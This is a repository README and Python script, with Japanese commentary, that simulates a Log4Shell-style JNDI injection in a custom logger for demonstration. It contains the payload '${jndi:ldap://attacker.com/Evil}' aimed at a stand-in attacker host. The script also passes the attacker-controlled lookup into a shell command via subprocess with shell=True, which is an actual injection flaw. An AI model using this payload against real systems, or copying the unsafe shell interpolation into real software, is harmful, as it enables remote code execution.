george0papasotiriou/cve-2026-21011-log4j-style-jndi-injection-in-custom-logger-simulated-CVE-2026-21011（カスタムロガーにおけるLog4jスタイルのJNDIインジェクション）をシミュレートします。${jndi:...} パターンを解析し、LDAPによってトリガーされるリモートコード実行を実証します。
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
カスタムロギングフレームワークは、悪名高いLog4Shellの脆弱性と同様に、ログメッセージ内の${jndi:...}パターンを評価します。攻撃者はJNDIルックアップを注入して、リモートサーバーから任意のコードをロードおよび実行できます。
シミュレーションを実行します:
python log4j_sim.py
このスクリプトは、攻撃者のLDAPサーバーからクラスをロードすることを表示します。